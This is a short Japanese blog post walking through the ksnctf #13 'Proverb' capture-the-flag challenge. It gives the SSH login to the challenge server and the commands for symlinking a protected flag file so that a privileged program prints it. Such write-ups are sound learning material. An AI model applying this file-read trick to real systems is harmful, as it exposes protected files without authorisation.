haneuma.log

半分くらい忘備録でできてる

ksnctf #13 Proverb

最近ksnctf始めました。あと、seccon2014オンライン予選出ます。

僕の解き方

問題文にssh,ID,Passが書いてあるので、とりあえずssh接続してみる。

$ ssh -p 10022 q13@ctfq.sweetduet.info
q13@ctfq.sweetduet.info's password:8zvWx00MakSCQuGq
Last login: Thu Jul 17 23:52:50 2014 from 10.0.2.2
[q13@localhost ~]$ 

入れた。

[q13@localhost ~]$ ls
flag.txt  proverb  proverb.txt  readme.txt
  • flag.txt 怪しい。読めない。
  • proverb 実行すると英語のことわざが出力された。
  • proverb.txt 英語のことわざが書いてある。proverbはこれを読み込んでるっぽい。
  • readme.txt 注意事項書いてある。

readmeに書き込みしたいときは/tmp以下を使ってくださいね、との記述があったので、移動してみると確かにディレクトリがあった。read権限は無かった。 proverbはproverb.txtを読み込んで表示させてるみたいなので、なんとかしてflag.txtを読ませたい。proverbは"proverb.txt"という名前のファイルを読み込んでいるっぽい。ので、シンボリックリンクを使う。

作戦: flag.txtをproverb.txtとしてどっかにリンク張ってproverbを実行する

[q13@localhost ~]$ cd /tmp
[q13@localhost ~]$ mkdir hoge
[q13@localhost ~]$ cd hoge
[q13@localhost hoge]$ ln -s /home/q13/proverb proverb
[q13@localhost hoge]$ ln -s /home/q13/flag.txt proverb.txt
[q13@localhost hoge]$ ./proverb 

これでフラグが出てきました。